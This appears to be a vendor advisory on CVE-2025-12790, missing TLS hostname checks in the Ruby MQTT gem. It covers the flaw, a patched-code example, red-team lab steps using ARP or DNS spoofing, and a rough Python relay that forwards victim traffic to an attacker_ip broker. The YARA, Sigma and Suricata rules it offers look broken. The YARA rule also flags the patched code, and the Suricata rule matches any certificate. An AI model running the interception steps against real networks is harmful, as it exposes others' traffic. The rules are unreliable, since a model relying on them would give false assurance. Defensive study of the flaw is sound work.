CVE-2025-12790
Executive Summary
CVE-2025-12790 identifies a critical security flaw in the Rubygem MQTT package. By default, the package does not validate the hostname of the MQTT broker during TLS/SSL connection establishment. This omission allows an attacker to perform a Man-in-the-Middle (MITM) attack by presenting a valid certificate for a different hostname, thereby intercepting and potentially modifying MQTT traffic. The vulnerability affects all versions of the gem that rely on default TLS settings without explicit hostname verification.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Ruby ecosystem and the rubygem-mqtt package. Since the package is distributed via RubyGems, any application or system that includes this gem as a dependency is at risk. The lack of hostname validation undermines the security guarantees of TLS, making it possible for an attacker to impersonate a legitimate MQTT broker. Developers and system administrators must ensure that hostname verification is explicitly enabled in their MQTT client configurations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to intercept traffic.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): High (H) – The attacker can read all MQTT messages.
- Integrity (I): High (H) – The attacker can modify MQTT messages.
- Availability (A): None (N) – The attack does not affect availability.
CVSS Score: 9.1 (Critical)
Deep Dive & Mechanics
The Rubygem MQTT package provides a client library for the MQTT protocol. When establishing a TLS connection to an MQTT broker, the library uses Ruby's built-in OpenSSL::SSL::SSLSocket or similar. By default, the library does not call OpenSSL::SSL::SSLContext#verify_hostname= or set the verify_mode to OpenSSL::SSL::VERIFY_PEER with hostname checking. This means that while the certificate chain may be validated (if configured), the hostname in the certificate is not checked against the intended broker hostname.
An attacker who can intercept network traffic (e.g., via ARP spoofing, DNS poisoning, or rogue Wi-Fi) can present a valid certificate for a different domain (e.g., a certificate issued to attacker.com). Since the client does not verify that the certificate's Common Name (CN) or Subject Alternative Name (SAN) matches the broker's hostname, the connection proceeds, and the attacker can decrypt, read, and modify all MQTT messages.
Vulnerable vs. Patched Code
Vulnerable Code (Default Behavior):
require 'mqtt'
client = MQTT::Client.connect(
host: 'broker.example.com',
port: 8883,
ssl: true
)
# No hostname verification is performed
Patched Code (Manual Fix):
require 'mqtt'
require 'openssl'
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_PEER
ctx.verify_hostname = true
client = MQTT::Client.connect(
host: 'broker.example.com',
port: 8883,
ssl: true,
ssl_context: ctx
)
The patched code explicitly sets verify_hostname to true and ensures the SSL context is configured for peer verification. This forces the client to check that the certificate's hostname matches the intended broker.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Set up a legitimate MQTT broker (e.g., Mosquitto) with a valid TLS certificate for
broker.example.com. - Set up an attacker-controlled MQTT broker with a valid TLS certificate for
attacker.com. - Use ARP spoofing or DNS poisoning to redirect traffic from the victim to the attacker's broker.
Exploitation Steps:
- Intercept the victim's DNS request for
broker.example.comand respond with the attacker's IP. - The victim's MQTT client connects to the attacker's broker using TLS.
- Since hostname validation is disabled, the client accepts the certificate for
attacker.com. - The attacker can now read and modify all MQTT messages.
Proof of Concept (Python script for MITM):
# This is a conceptual script; actual implementation requires network interception tools.
import socket
import ssl
def mitm_mqtt(victim_ip, victim_port, attacker_ip, attacker_port):
# Intercept connection from victim
victim_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
victim_sock.bind((victim_ip, victim_port))
victim_sock.listen(1)
conn, addr = victim_sock.accept()
# Connect to attacker broker
attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
attacker_sock.connect((attacker_ip, attacker_port))
# Relay data (simplified)
while True:
data = conn.recv(4096)
if not data:
break
attacker_sock.send(data)
response = attacker_sock.recv(4096)
conn.send(response)
Blue Team
Detection:
- Monitor for unexpected TLS certificates or connections to unknown MQTT brokers.
- Use network monitoring tools to detect ARP spoofing or DNS anomalies.
- Check MQTT client logs for certificate warnings or errors.
Mitigation:
- Ensure all MQTT clients have hostname verification enabled.
- Use certificate pinning where possible.
- Implement network segmentation to limit exposure.
Indicators of Compromise (IOCs)
- Network: Unexpected TLS connections to MQTT brokers on port 8883 (or custom ports) with certificates not matching the expected hostname.
- Logs: MQTT client logs showing successful TLS handshake without hostname verification.
- DNS: Unusual DNS responses for MQTT broker hostnames.
- ARP: ARP cache entries showing MAC address changes for the broker's IP.
Detection Engineering
YARA Rule
rule CVE_2025_12790_MQTT_Hostname_Validation
{
meta:
description = "Detects Ruby MQTT client code missing hostname verification"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-12790"
strings:
$ssl_true = /ssl:\s*true/i
$mqtt_connect = /MQTT::Client\.connect/i
$no_verify = /verify_hostname\s*:\s*false/i
condition:
$mqtt_connect and $ssl_true and not $no_verify
}
Sigma Rule
title: MQTT Client Without Hostname Verification
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects MQTT client connections that do not enforce hostname verification
author: Valters IT
date: 2025/04/10
logsource:
category: application
product: ruby
detection:
selection:
EventID: 1001
ProcessName: '*mqtt*'
CommandLine: '*ssl: true*'
condition: selection
falsepositives:
- Legitimate use of self-signed certificates with custom validation
level: high
Suricata Rule
alert tcp any any -> any 8883 (msg:"CVE-2025-12790 MQTT TLS without hostname verification"; flow:to_server,established; tls.cert_subject; content:"CN="; pcre:"/CN=[^,]+/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Fix: Update all MQTT client code to explicitly enable hostname verification as shown in the patched code example.
- Configuration: Set
verify_modetoOpenSSL::SSL::VERIFY_PEERandverify_hostnametotruein the SSL context. - Certificate Pinning: Pin the expected broker certificate or public key to prevent MITM attacks even if hostname validation is bypassed.
- Network Controls: Use network segmentation and firewall rules to restrict MQTT traffic to known brokers.
- Monitoring: Implement logging and alerting for TLS certificate mismatches and unexpected MQTT connections.
- Vendor Update: Monitor the Rubygem MQTT package for an official patch that enables hostname validation by default.
Valters IT
DevSecOps & Cyber Threat Intelligence